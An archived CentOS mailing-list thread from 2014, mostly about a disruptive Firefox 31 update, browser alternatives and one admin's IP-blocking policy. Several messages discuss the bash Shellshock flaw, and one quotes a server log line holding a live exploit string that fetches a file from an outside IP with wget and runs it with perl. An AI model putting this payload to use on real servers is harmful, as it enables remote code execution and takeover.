Re: [CentOS] firefox: annoyance
On 09/25/2014 12:26 PM, Nicolas Thierry-Mieg wrote: No packages for EL6 AFAIK, Seamonkey is available in EPEL. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Fri, Sep 26, 2014 at 10:38 PM, Always Learning cen...@u62.u22.net wrote: If this inconvenience's an innocent web user, I have neither ability to detect the inconvenience nor to determine the user's innocence. I understand your hotel analogue. In England many hotel guests use their mobile phones or tablets - not on wifi but on direct radio (mobile telephone) links; each link having a distinctive IP address. If the web hacker is operating through a data centre, then I permanently block, for port 80, the whole of the data centre's known IP block. The alternative is to be a willing victim. It's more a question of why you run the service at all. If blocking people from reaching it doesn't bother you, why not just shut it down? -- Les Mikesell lesmikes...@gmail.com ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Mon, 2014-09-29 at 12:16 -0500, Les Mikesell wrote: On Fri, Sep 26, 2014 at 10:38 PM, Always Learning cen...@u62.u22.net wrote: If this inconvenience's an innocent web user, I have neither ability to detect the inconvenience nor to determine the user's innocence. I understand your hotel analogue. In England many hotel guests use their mobile phones or tablets - not on wifi but on direct radio (mobile telephone) links; each link having a distinctive IP address. If the web hacker is operating through a data centre, then I permanently block, for port 80, the whole of the data centre's known IP block. The alternative is to be a willing victim. It's more a question of why you run the service at all. If blocking people from reaching it doesn't bother you, why not just shut it down? Blocking people ? Data Centre bots that download all or parts of my web sites for someone's personal amusement or for commercial gain of their customers or simply to find email addresses to use for spamming, are not the 'people' I want to attract. Why should I tolerate some malicious nutter trying to hack into my web servers ? Better to block their IP after the first attempt. Why should I close everything because of a very small, but very active, group of pests ? Better to block the compromised IPs and the rent-an-IP-address-for-a-few-hours services whilst letting everything else continue normally. No logical reason to give spammers and hackers unrestricted access. Abuse my facilities and my systems will cut them off. Its a simple and effective policy. -- Regards, Paul. England, EU. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Mon, Sep 29, 2014 at 1:57 PM, Always Learning cen...@u62.u22.net wrote: The alternative is to be a willing victim. It's more a question of why you run the service at all. If blocking people from reaching it doesn't bother you, why not just shut it down? Blocking people ? Data Centre bots that download all or parts of my web sites for someone's personal amusement or for commercial gain of their customers or simply to find email addresses to use for spamming, are not the 'people' I want to attract. You said you were blocking IPs. The IPs you see don't represent people or even specific devices and you have no way of knowing the correspondence. Why should I tolerate some malicious nutter trying to hack into my web servers ? Better to block their IP after the first attempt. Why tolerate anyone? -- Les Mikesell lesmikes...@gmail.com ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Mon, 2014-09-29 at 14:16 -0500, Les Mikesell wrote: You said you were blocking IPs. Yes my systems block IPs on the basis:- Emails -- Block if IP allocated to a data centre or to a commercial email sending organisation. Web --- Hacking attempts - individual IP if a 'home-type' Internet connection. Block if IP allocated to a data centre. Hosts (email) Persistent pests using 'home-type' Internet connections are added to the spammers list. Example *airtelbroadband.in *adsl.alicedsl.de *dynamic.se.alltele.net *alshamil.net.ae *adsl.anteldata.net.uy *aphie.info *pools.arcor-ip.net *static.arcor-ip.net *as9105.com *as13285.net *as43234.net Thus no actual IPs are banned in this instance. Duration Individual IPs about 4 weeks. Blocks indefinite. Hosts lists indefinite. The IPs you see don't represent people or even specific devices and you have no way of knowing the correspondence. I think genuine email senders will use a real MTA rather than something, taken from today's list, like:- host-93-178-107-188.ttn.ru 249.119.233.72.static.reverse.ltdomains.com dab-yat1-h-61-9.dab.02.net If the correspondence is genuinely important, then the sender will obviously know my details including phone number and/or postal address. Why tolerate anyone? Because it is my systems, paid with my money, and therefore it is my choice to accept everyone - also my choice not to tolerate hacking attempts and junk mail. I previously stated I will not be a placid victim for hacking attacks or for spamming. Long gone are the gentlemen's days of the Internet when mail relaying via third parties was acceptable, normal and never ever abused. Unless one can successfully adapt to the inevitable changes throughout life, one's existence is doomed. I wish to stop this topic now and do other things. -- Regards, Paul. England, EU ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 09/25/2014 09:42 AM, m.r...@5-cent.us wrote: Steve Lindemann wrote: On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote: Valeri Galtsev wrote: On Thu, September 25, 2014 8:59 am, John Doe wrote: From: Johan Vermeulen jvermeu...@cawdekempen.be op 25-09-14 13:46, mark schreef: Yup, forgot that: no tool bar at all, no menus snip It is *completely* unacceptable to release an update that appears to ignore the configuration files, and doesn't even *show* the menu, which would absolutely freak out an ordinary user. And to lose the tabs! I am *not* going to update firefox at work till they fix this - I have stuff I need. snip Switch to Palemoon or Qupzilla, firefox has improved itself to the point where it's just not a choice anymore, let alone a good one. I've been using Palemoon and it's been a damn good choice for me... ymmv palemoon looks nice - *is* there a package for it somewhere, or do you have to d/l and install from their homepage? Find something else that works for you, there are other choices. It's gotten to the point where firefox is as bad as chrome or ie. A shame, it used to be such a good choice. I have to worry, here at work. I am *not* going to even think about trying to force my users to use another browser, one they've never heard of (I've never heard of either of these). This needs to be fixed Unless the behavior is different in CentOS than RHEL, it is fixed. You can turn on the menu bar (right click and click the check mark) If your users use Windows or mac, they already are using something that does not have a menu bar. Firefox has the same look everywhere. So, because you have to check a box to get the menu, you want to look for a new browser, which could just stop working at the whims of the upstream guys (like chromium did) when they move on to the latest and greatest glibc, etc? This sounds silly to me .. check the menu box and use firefox. It will be supported and secure until EOL. Of course, it is your machine(S) so feel free to do whatever you want. signature.asc Description: OpenPGP digital signature ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Fri, September 26, 2014 8:21 am, Johnny Hughes wrote: On 09/25/2014 09:42 AM, m.r...@5-cent.us wrote: Steve Lindemann wrote: On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote: Valeri Galtsev wrote: On Thu, September 25, 2014 8:59 am, John Doe wrote: From: Johan Vermeulen jvermeu...@cawdekempen.be op 25-09-14 13:46, mark schreef: Yup, forgot that: no tool bar at all, no menus snip It is *completely* unacceptable to release an update that appears to ignore the configuration files, and doesn't even *show* the menu, which would absolutely freak out an ordinary user. And to lose the tabs! I am *not* going to update firefox at work till they fix this - I have stuff I need. snip Switch to Palemoon or Qupzilla, firefox has improved itself to the point where it's just not a choice anymore, let alone a good one. I've been using Palemoon and it's been a damn good choice for me... ymmv palemoon looks nice - *is* there a package for it somewhere, or do you have to d/l and install from their homepage? Find something else that works for you, there are other choices. It's gotten to the point where firefox is as bad as chrome or ie. A shame, it used to be such a good choice. I have to worry, here at work. I am *not* going to even think about trying to force my users to use another browser, one they've never heard of (I've never heard of either of these). This needs to be fixed Unless the behavior is different in CentOS than RHEL, it is fixed. You can turn on the menu bar (right click and click the check mark) If your users use Windows or mac, they already are using something that does not have a menu bar. Firefox has the same look everywhere. So, because you have to check a box to get the menu, you want to look for a new browser, which could just stop working at the whims of the upstream guys (like chromium did) when they move on to the latest and greatest glibc, etc? This sounds silly to me .. check the menu box and use firefox. It will be supported and secure until EOL. No, it is not because of that. At least in my case. I started looking for decent open source browser that to an extent possible follows the rule don't change anything unless it is absolutely necessary as far as the way of user interaction goes some 5 or so years ago. Not only changes that brake all former logic (I'm talking about Firefox here), but also stupid rushing of new hardly ever tested releases,... So, you are happy with it; it's your way of life, silly or not is seems to me. The same as my feelings about enterprise attitude any sort of software, silly or not my feelings seem to you. Just my $0.02 Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Thu, September 25, 2014 10:27, Scott Robbins wrote: On Thu, Sep 25, 2014 at 09:09:15AM -0500, Valeri Galtsev wrote: developers to follow this: Don't change anything unless it is absolutely necessary. (it was excellent attitude to programming I was doing once: this way you diminish the chance to break something that works...) Probably POLA, Principle Of Least Astonishment. The following article is from 2011 mind you, when FF 4 had 31% market share instead of the 17% it has now: http://www.techrepublic.com/blog/it-security/has-the-mozilla-foundation-lost-its-collective-mind/ And then the famous Kaply blog where Asa Dotzler tells all of us entreprisey folks that use FF to get stuffed: http://mike.kaply.com/2011/06/23/understanding-the-corporate-impact/ We are on FF-ESR for our MS_Win users as well as CentOs, but this constant deliberate breakage by the MF folks has had me actively considering finding an alternative for some time now. I had sort of settled on Opera but they seem to have stopped development on the Linux version. I love the extensions that are available for FF but I am tired beyond care of witnessing the pointless rearranging of the deck chairs while FF slips ever so gently beneath the waves. -- *** E-Mail is NOT a SECURE channel *** James B. Byrnemailto:byrn...@harte-lyne.ca Harte Lyne Limited http://www.harte-lyne.ca 9 Brockley Drive vox: +1 905 561 1241 Hamilton, Ontario fax: +1 905 561 0757 Canada L8E 3C3 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Thu, September 25, 2014 12:42, m.r...@5-cent.us wrote: Thanks, I sit (and type) corrected. There was something nagging at me, saying Russia was wrong for Nux. However, I don't foresee aforesaid manager being happy with an eastern European individual's repo. You, and your boss, should become aware that Romania joined the North Atlantic Treaty Organisation (NATO) on March 29, 2004. The United States presently has a formal military alliance with Romania. The same one that it has with Canada, Turkey, Great Britain, and most of Europe. -- *** E-Mail is NOT a SECURE channel *** James B. Byrnemailto:byrn...@harte-lyne.ca Harte Lyne Limited http://www.harte-lyne.ca 9 Brockley Drive vox: +1 905 561 1241 Hamilton, Ontario fax: +1 905 561 0757 Canada L8E 3C3 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
James B. Byrne wrote: On Thu, September 25, 2014 12:42, m.r...@5-cent.us wrote: Thanks, I sit (and type) corrected. There was something nagging at me, saying Russia was wrong for Nux. However, I don't foresee aforesaid manager being happy with an eastern European individual's repo. You, and your boss, should become aware that Romania joined the North Atlantic Treaty Organisation (NATO) on March 29, 2004. The United States presently has a formal military alliance with Romania. The same one that it has with Canada, Turkey, Great Britain, and most of Europe. Assuming this gets through - my hosting provider's mailhost is being blocked, AGAIN, by those assholes at IX magazine that run nixspam It's still not one of the large repos, and (if yuo didn't see my other response), we have no knowledge of how secure his server, where he hosts his repo, is from being hacked. We *do* have to, legally, worry about HIPAA (personal health data) and PII data. We'll ignore the concept of telling scores of people that they have to not use the browser they know, and have to learn a new one mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Fri, September 26, 2014 11:56 am, James B. Byrne wrote: On Thu, September 25, 2014 12:42, m.r...@5-cent.us wrote: Thanks, I sit (and type) corrected. There was something nagging at me, saying Russia was wrong for Nux. However, I don't foresee aforesaid manager being happy with an eastern European individual's repo. You, and your boss, should become aware that Romania joined the North Atlantic Treaty Organisation (NATO) on March 29, 2004. The United States presently has a formal military alliance with Romania. The same one that it has with Canada, Turkey, Great Britain, and most of Europe. I hope, my government doesn't go into alliance with Russia behind my back ;-) (I'm perfectly OK about Romania, no matter how much more careful I'll be about repositories hosted there compared to the ones hosted, say, in Finland, just based on statistics of compromised machines...) Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
Valeri Galtsev wrote: On Fri, September 26, 2014 11:56 am, James B. Byrne wrote: On Thu, September 25, 2014 12:42, m.r...@5-cent.us wrote: Thanks, I sit (and type) corrected. There was something nagging at me, saying Russia was wrong for Nux. However, I don't foresee aforesaid manager being happy with an eastern European individual's repo. You, and your boss, should become aware that Romania joined the North Atlantic Treaty Organisation (NATO) on March 29, 2004. The United States presently has a formal military alliance with Romania. The same one that it has with Canada, Turkey, Great Britain, and most of Europe. I hope, my government doesn't go into alliance with Russia behind my back ;-) (I'm perfectly OK about Romania, no matter how much more careful I'll be about repositories hosted there compared to the ones hosted, say, in Finland, just based on statistics of compromised machines...) Please, please note: we're *NOT* US DoD* - we try to help people g What, you're not looking forward to the Ukraine hosting repos...? mark * Old, old t-shirt line: join the Army, travel to distant lands, meet exotic people, and learn to kill them. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
I hope, my government doesn't go into alliance with Russia behind my back ;-) (I'm perfectly OK about Romania, no matter how much more careful I'll be about repositories hosted there compared to the ones hosted, say, in Finland, just based on statistics of compromised machines...) These guys they just don't get the hint and then we have to watch in disgust their heads being cut off by the friends of Libya :) ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Fri, Sep 26, 2014 at 8:21 AM, Johnny Hughes joh...@centos.org wrote: So, because you have to check a box to get the menu, you want to look for a new browser, which could just stop working at the whims of the upstream guys (like chromium did) when they move on to the latest and greatest glibc, etc? This sounds silly to me .. Dunno if it is really any sillier to stop supporting ancient libs than it is to keep them completely frozen for umpteen years with no improvements and force the choice. Too bad there can't be a nice sensible progression of backwards compatible updates. -- Les Mikesell lesmikes...@gmail.com ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Fri, Sep 26, 2014 at 9:08 AM, Valeri Galtsev galt...@kicp.uchicago.edu wrote: No, it is not because of that. At least in my case. I started looking for decent open source browser that to an extent possible follows the rule don't change anything unless it is absolutely necessary as far as the way of user interaction goes some 5 or so years ago. Not only changes that brake all former logic (I'm talking about Firefox here), but also stupid rushing of new hardly ever tested releases,... So, you are happy with it; it's your way of life, silly or not is seems to me. The same as my feelings about enterprise attitude any sort of software, silly or not my feelings seem to you. The problem is that the don't change anything rule can't start until you get it right the first time, and browsers in general are still working on that - along with the standards committees. If you are using CentOS7 you have the option of adding google chrome which probably is even worse for the rate of change but at least it is closely in tune with google sites and across various devices. -- Les Mikesell lesmikes...@gmail.com ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Fri, September 26, 2014 1:27 pm, Les Mikesell wrote: On Fri, Sep 26, 2014 at 9:08 AM, Valeri Galtsev galt...@kicp.uchicago.edu wrote: No, it is not because of that. At least in my case. I started looking for decent open source browser that to an extent possible follows the rule don't change anything unless it is absolutely necessary as far as the way of user interaction goes some 5 or so years ago. Not only changes that brake all former logic (I'm talking about Firefox here), but also stupid rushing of new hardly ever tested releases,... So, you are happy with it; it's your way of life, silly or not is seems to me. The same as my feelings about enterprise attitude any sort of software, silly or not my feelings seem to you. The problem is that the don't change anything rule can't start until you get it right the first time, and browsers in general are still working on that - along with the standards committees. If you are using CentOS7 you have the option of adding google chrome which probably is even worse for the rate of change but at least it is closely in tune with google sites and across various devices. I did mention open source browsers, which google chrome was not last time I checked. Not to mention I do dislike googe's privacy policies, so I'm myself staying away (wherever I can) from anything even just derived from google's code. Even less I'm inclined to push this onto my users. I can not interfere with them when they are dying to have google chrome on their machines, but that is different. Thanks for adding a candidate to my list of potential replacements for firefox (which didn't make it to my list, still thanks for the effort!). Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Fri, 2014-09-26 at 12:22 -0500, Valeri Galtsev wrote: . just based on statistics of compromised machines...) Probably all Windoze :-) Regards, Paul. England, EU. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 9/26/2014 2:51 PM, Always Learning wrote:
Probably all Windoze
linux apache web servers with the bash exploit are getting owned en
masse today. my (patched) internet web server has logged 100s and
100s of attempts like...
66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh
HTTP/1.0 404 294 - () { :;}; /bin/bash -c \wget -O /var/tmp/wow1
208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\
--
john r pierce 37N 122W
somewhere on the middle of the left coast
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Fri, September 26, 2014 5:13 pm, John R Pierce wrote: On 9/26/2014 2:51 PM, Always Learning wrote: Probably all Windoze linux apache web servers with the bash exploit are getting owned en masse today. my (patched) internet web server has logged 100s and 100s of attempts like... 66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh I feel really stupid, but I have to ask. If your server wasn't patched, it only would have owned by the above if that file exists, is executable by apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash location is as first line), right? ;-) Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 9/26/2014 3:36 PM, Valeri Galtsev wrote: On Fri, September 26, 2014 5:13 pm, John R Pierce wrote: On 9/26/2014 2:51 PM, Always Learning wrote: Probably all Windoze linux apache web servers with the bash exploit are getting owned en masse today. my (patched) internet web server has logged 100s and 100s of attempts like... 66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh I feel really stupid, but I have to ask. If your server wasn't patched, it only would have owned by the above if that file exists, is executable by apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash location is as first line), right? no. mod_cgi launches /bin/sh and passes it the command, even if the file doesn't exist. and /bin/sh is linked to bash -- john r pierce 37N 122W somewhere on the middle of the left coast ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 2014-09-26, Valeri Galtsev galt...@kicp.uchicago.edu wrote: On Fri, September 26, 2014 5:13 pm, John R Pierce wrote: linux apache web servers with the bash exploit are getting owned en masse today. my (patched) internet web server has logged 100s and 100s of attempts like... 66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh I feel really stupid, but I have to ask. If your server wasn't patched, it only would have owned by the above if that file exists, is executable by apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash location is as first line), right? ;-) At first glance I would agree with you, but then I would wonder, if that request wouldn't work almost anywhere, why are the skr1pt k1dd13s doing it? --keith -- kkel...@wombat.san-francisco.ca.us ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Sat, Sep 27, 2014 at 11:02 AM, Keith Keller kkel...@wombat.san-francisco.ca.us wrote: On 2014-09-26, Valeri Galtsev galt...@kicp.uchicago.edu wrote: On Fri, September 26, 2014 5:13 pm, John R Pierce wrote: linux apache web servers with the bash exploit are getting owned en masse today. my (patched) internet web server has logged 100s and 100s of attempts like... 66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh I feel really stupid, but I have to ask. If your server wasn't patched, it only would have owned by the above if that file exists, is executable by apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash location is as first line), right? ;-) At first glance I would agree with you, but then I would wonder, if that request wouldn't work almost anywhere, why are the skr1pt k1dd13s doing it? Old source versions of Apache used to come with a test.sh file in the default cgi-bin directory, but those days are long gone, I suspect. Cheers, Cliff ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Fri, September 26, 2014 6:05 pm, John R Pierce wrote: On 9/26/2014 3:36 PM, Valeri Galtsev wrote: On Fri, September 26, 2014 5:13 pm, John R Pierce wrote: On 9/26/2014 2:51 PM, Always Learning wrote: Probably all Windoze linux apache web servers with the bash exploit are getting owned en masse today. my (patched) internet web server has logged 100s and 100s of attempts like... 66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh I feel really stupid, but I have to ask. If your server wasn't patched, it only would have owned by the above if that file exists, is executable by apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash location is as first line), right? no. mod_cgi launches /bin/sh and passes it the command, even if the file doesn't exist. and /bin/sh Damn, indeed it is not sh, but symlink to bash. Crap! Am I already to that extent FreeBSD and not Linux guy... Ba Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 2014-09-26, John R Pierce pie...@hogranch.com wrote: On Fri, September 26, 2014 5:13 pm, John R Pierce wrote: 66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh no. mod_cgi launches /bin/sh and passes it the command, even if the file doesn't exist. and /bin/sh is linked to bash Wouldn't you need a particular Apache configuration for mod_cgi to launch /bin/sh? e.g., /cgi-bin/ configured as a ScriptAlias, and/or *.sh configured with an appropriate handler? Granted that's likely a common configuration, but a site without a configured /cgi-bin/ should be immune to this attack even if their /bin/sh is a symlink to /bin/bash. --keith -- kkel...@wombat.san-francisco.ca.us ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Fri, September 26, 2014 6:05 pm, John R Pierce wrote: On 9/26/2014 3:36 PM, Valeri Galtsev wrote: On Fri, September 26, 2014 5:13 pm, John R Pierce wrote: On 9/26/2014 2:51 PM, Always Learning wrote: Probably all Windoze linux apache web servers with the bash exploit are getting owned en masse today. my (patched) internet web server has logged 100s and 100s of attempts like... 66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh I feel really stupid, but I have to ask. If your server wasn't patched, it only would have owned by the above if that file exists, is executable by apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash location is as first line), right? no. mod_cgi launches /bin/sh and passes it the command, even if the file doesn't exist. and /bin/sh is linked to bash Apache passes it to mod_cgi to have that discover that referenced file doesn't exist?! Did I too program like that when I was programmer? Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Fri, 2014-09-26 at 16:05 -0700, John R Pierce wrote: no. mod_cgi launches /bin/sh and passes it the command, even if the file doesn't exist. and /bin/sh is linked to bash Don't use cgi. Have no /cgi directory. Don't load mod_cgi Bash is patched (updated to new version). Automatically bloke IPs of anyone trying to hack Apache. Am I safe ? Paul. England, EU. Learning until I die or experience dementia. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On Fri, September 26, 2014 8:32 pm, Always Learning wrote: On Fri, 2014-09-26 at 16:05 -0700, John R Pierce wrote: no. mod_cgi launches /bin/sh and passes it the command, even if the file doesn't exist. and /bin/sh is linked to bash Don't use cgi. Have no /cgi directory. Don't load mod_cgi Bash is patched (updated to new version). Automatically bloke IPs of anyone trying to hack Apache. Am I safe ? You are. But if you run the server you do want to serve what you want to serve. Now, imagine hotel, everybody in it is behind a single router. One person has hacked machine that tried to tap into your server. You block the IP, therefore everyone in Hotel... Now do you want to serve it? If not why to start Apache at all? However, my case is different. If servers of our Departments don't serve anything [we need] to everybody, they do not need me, sysadmin, desktop support guy will be more suitable (and probably less expensive). Just my $0.02 Valeri Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
Hi Valeri, On Fri, September 26, 2014 8:32 pm, Always Learning wrote: Don't use cgi. Have no /cgi directory. Don't load mod_cgi Bash is patched (updated to new version). Automatically bloke IPs of anyone trying to hack Apache. Am I safe ? You are. But if you run the server you do want to serve what you want to serve. Now, imagine hotel, everybody in it is behind a single router. One person has hacked machine that tried to tap into your server. You block the IP, therefore everyone in Hotel... Now do you want to serve it? If not why to start Apache at all? However, my case is different. If servers of our Departments don't serve anything [we need] to everybody, they do not need me, sysadmin, desktop support guy will be more suitable (and probably less expensive). If a hacker, always using someone else's compromised computer, attempts to break-in, their IP is blocked for all traffic within about 1 second. Yes that means one hacked computer's IP address is blocked for mail and web. I decline to let the hacker have repeated attempts to hack into, or abuse, any of my web sites. If there are only a few access attempts after the IP address is blocked, the ban will expire monthly. If there are very many attempts, then the ban will expire about 3 weeks after the attempts stop. If this inconvenience's an innocent web user, I have neither ability to detect the inconvenience nor to determine the user's innocence. I understand your hotel analogue. In England many hotel guests use their mobile phones or tablets - not on wifi but on direct radio (mobile telephone) links; each link having a distinctive IP address. If the web hacker is operating through a data centre, then I permanently block, for port 80, the whole of the data centre's known IP block. The alternative is to be a willing victim. Best regards, Paul England - the USA's government's pet European poodle. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
V, Sorry that should be ... I understand your hotel analogy. P. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
op 25-09-14 02:46, Tom Bishop schreef: On Wed, Sep 24, 2014 at 7:41 PM, mark m.r...@5-cent.us wrote: I just updated firefox, here at home... and when I fired it back up, *all* of my tabs were gone. Every one (all couple dozen...) mark, CentOS 6.5 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos Me too and I had lots of tabs :( ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos Hello, when I launched Firefox31 at one site yesterday, I got a dialog saying: It's been a long time since you used Firefox, would you like to clean it up? After the clean up, I automaticaly got a directory Old Firefox Data on the desktop. In there my old Firefox profile is stored. Greetings, J. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
op 25-09-14 09:01, Johan Vermeulen schreef: op 25-09-14 02:46, Tom Bishop schreef: On Wed, Sep 24, 2014 at 7:41 PM, mark m.r...@5-cent.us wrote: I just updated firefox, here at home... and when I fired it back up, *all* of my tabs were gone. Every one (all couple dozen...) mark, CentOS 6.5 ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos Me too and I had lots of tabs :( ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos Hello, when I launched Firefox31 at one site yesterday, I got a dialog saying: It's been a long time since you used Firefox, would you like to clean it up? After the clean up, I automaticaly got a directory Old Firefox Data on the desktop. In there my old Firefox profile is stored. Greetings, J. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos and I had a lot of users who had the title bar disappear. When you right-click in the white space near the top, you can check/uncheck. ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
On 09/25/14 03:09, Johan Vermeulen wrote: op 25-09-14 09:01, Johan Vermeulen schreef: op 25-09-14 02:46, Tom Bishop schreef: On Wed, Sep 24, 2014 at 7:41 PM, mark m.r...@5-cent.us wrote: I just updated firefox, here at home... and when I fired it back up, *all* of my tabs were gone. Every one (all couple dozen...) when I launched Firefox31 at one site yesterday, I got a dialog saying: It's been a long time since you used Firefox, would you like to clean it up? After the clean up, I automaticaly got a directory Old Firefox Data on the desktop. In there my old Firefox profile is stored. and I had a lot of users who had the title bar disappear. When you right-click in the white space near the top, you can check/uncheck. Yup, forgot that: no tool bar at all, no menus mark ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
op 25-09-14 13:46, mark schreef: On 09/25/14 03:09, Johan Vermeulen wrote: op 25-09-14 09:01, Johan Vermeulen schreef: op 25-09-14 02:46, Tom Bishop schreef: On Wed, Sep 24, 2014 at 7:41 PM, mark m.r...@5-cent.us wrote: I just updated firefox, here at home... and when I fired it back up, *all* of my tabs were gone. Every one (all couple dozen...) when I launched Firefox31 at one site yesterday, I got a dialog saying: It's been a long time since you used Firefox, would you like to clean it up? After the clean up, I automaticaly got a directory Old Firefox Data on the desktop. In there my old Firefox profile is stored. and I had a lot of users who had the title bar disappear. When you right-click in the white space near the top, you can check/uncheck. Yup, forgot that: no tool bar at all, no menus mark Then maybe you are stuck in full-screen mode? Press f11 to exit that. grts, Johan ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
From: Johan Vermeulen jvermeu...@cawdekempen.be op 25-09-14 13:46, mark schreef: Yup, forgot that: no tool bar at all, no menus mark Then maybe you are stuck in full-screen mode? Press f11 to exit that. grts, Johan You can press the Alt key to show the menu. JD ___ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Re: [CentOS] firefox: annoyance
